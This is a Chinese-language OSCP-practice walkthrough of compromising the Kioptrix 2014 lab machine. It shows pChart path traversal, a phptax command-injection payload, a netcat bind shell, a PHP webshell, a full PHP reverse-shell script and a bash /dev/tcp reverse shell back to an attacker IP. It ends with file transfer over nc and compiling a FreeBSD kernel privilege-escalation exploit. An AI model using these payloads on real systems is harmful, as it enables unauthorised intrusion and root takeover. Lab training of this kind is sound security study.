OSCP备战-kioptrix 2014详细步骤
配置靶机
移除网卡,重新添加(否则探测不了Ip的)
目标IP探测
使用ARP探测(成功):
arp-scan -l
netdiscover -i eth0 -r 192.168.155.0/24
基于ICMP探测(失败):
nmap -PE -sN 192.168.155.0/24 --min-rate 1000
使用TCP SYN(成功):
nmap -PS -sN 192.168.155.0/24 --min-rate 1000
个人喜欢使用ARP,得到IP:192.168.155.173
端口扫描
nmap -sV -sT --min-rate 1000 -p1-65535 192.168.1ss55.173
结果:
PORT STATE SERVICE VERSION
22/tcp closed ssh
80/tcp open http Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8)
8080/tcp open http Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8)
MAC Address: 00:0C:29:A0:D1:66 (VMware)Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 113.65 seconds
80端口获取shell
访问一下,it works!
好像没有什么东西了,dirsearch扫描尝试一下,0个有用信息
回到网页查看一下源代码
URL=pChart2.1.3/index.php
访问试试,出现个页面
转到谷歌中搜索:pChart
正好是这个版本有漏洞:路径穿越和XSS漏洞
漏洞利用如下:
"hxxp://localhost/examples/index.php?Action=View&Script=%2f..%2f..%2fetc/passwd"
访问8080端口查看一下,无权限403婉拒了
可能的检测手段:
源IP,user-agent,refer,请求方法限制等
dirsearch扫描尝试一下,依然是0个有用信息
要看请求头的配置就要查看apache配置文件,在Ubuntu中是/etc/apacheX/,利用80端口的路径穿越查看:
http://192.168.155.173/pChart2.1.3/examples/index.php?Action=View&Script=%2f..%2f..%2fusr/local/etc/apache22/httpd.conf
得到配置信息:
User-Agent ^Mozilla/4.0 Mozilla4_browser
<VirtualHost *:8080>
Allow from env=Mozilla4_browser
故限制是user-agent的原因,抓包更改,得到页面信息
访问phptax仍然需要改包
进入页面
phptax是美国收入所得税计算软件,搜索一下它的漏洞
searchsploit phptax
远程代码执行漏洞
在msf中有脚本,但是要更改文件头,还是不了
searchsploit -m 21665.txt
cat 21665 .txt
内容中有payload:
Bindshell on port 23235 using netcat:
http://localhost/phptax/drawimage.php?pfilez=xxx;%20nc%20-l%20-v%20-p%2023235%20-e%20/bin/bash;&pdf=make
稍微修改一下payload:
drawimage.php?pfilez=xxx;echo%20%22%3C%3Fphp%20system(\$_GET['cmd']); %3F%3E%22%20>%20shell.php;&pdf=make
检测一下:
cmd=ls
成功
反弹一下shell
尝试:
nc -lvnp 9001
sh -i >& /dev/tcp/192.168.155.166/9001 0>&1
连接不上
python --version无回显,没有python环境
继续尝试:
nc -lvnp 9001 < shell.php
新建端口:
nc -lvnp 4444
shell.php如下
<?php
// 配置攻击者 IP 和 反弹 Shell 端口(非文件传输端口)
$ip = '192.168.155.166'; // 攻击机 IP
$port = 4444; // 攻击机等待 Shell 的端口// 建立反向连接
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) exit();// 将 Shell 的输入输出重定向到 Socket
$descriptors = array(0 => $sock, // STDIN1 => $sock, // STDOUT2 => $sock // STDERR
);// 启动交互式 Shell
$process = proc_open('/bin/sh', $descriptors, $pipes);// 保持连接
if (is_resource($process)) {proc_close($process);
}
fclose($sock);
?>
执行:
nc 192.168.155.166 9001 > 1.php &
访问
/phptax.1.php
id查看一下权限,一般权限,需要提权
uid=80(www) gid=80(www) groups=80(www)
提权
查看内核,得到结果如下:
uname -a
FreeBSD kioptrix2014 9.0-RELEASE FreeBSD 9.0-RELEASE #0: Tue Jan 3 07:46:30 UTC 2012 root@farrell.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC amd64
searchsploit FreeBSD 9
searchsploit -m 28718.c
python3 -m http.server 9001
靶机执行:
wget 192.168.155.166:9001/28718.c
没有wget嘻嘻
采用之前用方法
nc -lvnp 9001 < 28718.c
nc 192.168.155.166 9001 > 1.c
gcc 1.c -o shell
./shell
成功